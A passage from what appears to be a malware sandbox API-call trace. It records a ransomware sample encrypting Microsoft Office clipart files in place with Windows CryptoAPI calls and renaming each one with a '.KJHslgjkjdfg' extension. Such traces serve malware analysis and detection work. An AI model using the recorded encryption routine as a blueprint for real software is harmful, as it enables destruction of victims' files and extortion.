lpNumberOfBytesRead=0x290f27c*=0xa445, lpOverlapped=0x0) returned 1 [0188.915] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa450, dwBufLen=0xa450 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa450) returned 1 [0188.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.916] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa450, lpOverlapped=0x0) returned 1 [0188.916] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.916] SetEndOfFile (hFile=0x114) returned 1 [0188.919] GetProcessHeap () returned 0x2a0000 [0188.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.919] GetProcessHeap () returned 0x2a0000 [0188.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.kjhslgjkjdfg")) returned 1 [0188.921] CloseHandle (hObject=0x114) returned 1 [0188.921] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0188.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.923] GetProcessHeap () returned 0x2a0000 [0188.923] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.923] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.923] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.923] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0188.926] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.926] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.926] GetProcessHeap () returned 0x2a0000 [0188.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.926] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.926] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.926] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.926] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.926] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.926] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.926] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.927] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.927] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.927] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ba2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ba2, lpOverlapped=0x0) returned 1 [0188.928] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2bb0, dwBufLen=0x2bb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2bb0) returned 1 [0188.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.928] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2bb0, lpOverlapped=0x0) returned 1 [0188.928] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.928] SetEndOfFile (hFile=0x114) returned 1 [0188.931] GetProcessHeap () returned 0x2a0000 [0188.931] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.931] GetProcessHeap () returned 0x2a0000 [0188.931] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.kjhslgjkjdfg")) returned 1 [0188.933] CloseHandle (hObject=0x114) returned 1 [0188.933] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1 [0188.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.934] GetProcessHeap () returned 0x2a0000 [0188.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.934] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.934] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.934] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0188.936] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.936] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.936] GetProcessHeap () returned 0x2a0000 [0188.936] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.937] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.937] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.937] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.937] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.937] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.937] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.937] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.937] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.937] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x321f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x321f, lpOverlapped=0x0) returned 1 [0188.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3220, dwBufLen=0x3220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3220) returned 1 [0188.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.938] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3220, lpOverlapped=0x0) returned 1 [0188.939] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x32f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.939] SetEndOfFile (hFile=0x114) returned 1 [0188.941] GetProcessHeap () returned 0x2a0000 [0188.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.941] GetProcessHeap () returned 0x2a0000 [0188.941] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.kjhslgjkjdfg")) returned 1 [0188.943] CloseHandle (hObject=0x114) returned 1 [0188.943] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1 [0188.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.944] GetProcessHeap () returned 0x2a0000 [0188.944] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.944] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.944] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0188.946] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.946] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.946] GetProcessHeap () returned 0x2a0000 [0188.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.946] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.946] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.946] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.947] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.947] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.947] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.947] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.947] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.947] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.947] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbdae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbdae, lpOverlapped=0x0) returned 1 [0188.948] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbdb0, dwBufLen=0xbdb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbdb0) returned 1 [0188.948] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.948] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbdb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbdb0, lpOverlapped=0x0) returned 1 [0188.949] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.949] SetEndOfFile (hFile=0x114) returned 1 [0188.951] GetProcessHeap () returned 0x2a0000 [0188.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.951] GetProcessHeap () returned 0x2a0000 [0188.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.kjhslgjkjdfg")) returned 1 [0188.953] CloseHandle (hObject=0x114) returned 1 [0188.953] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1 [0188.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.954] GetProcessHeap () returned 0x2a0000 [0188.954] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.954] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.955] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0188.957] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.957] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.957] GetProcessHeap () returned 0x2a0000 [0188.957] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0188.957] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0188.957] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.957] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0188.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.957] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.957] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.957] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.957] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.957] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xef6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xef6, lpOverlapped=0x0) returned 1 [0188.957] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf00, dwBufLen=0xf00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf00) returned 1 [0188.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.958] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf00, lpOverlapped=0x0) returned 1 [0188.958] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.958] SetEndOfFile (hFile=0x114) returned 1 [0188.960] GetProcessHeap () returned 0x2a0000 [0188.960] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0188.960] GetProcessHeap () returned 0x2a0000 [0188.960] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: 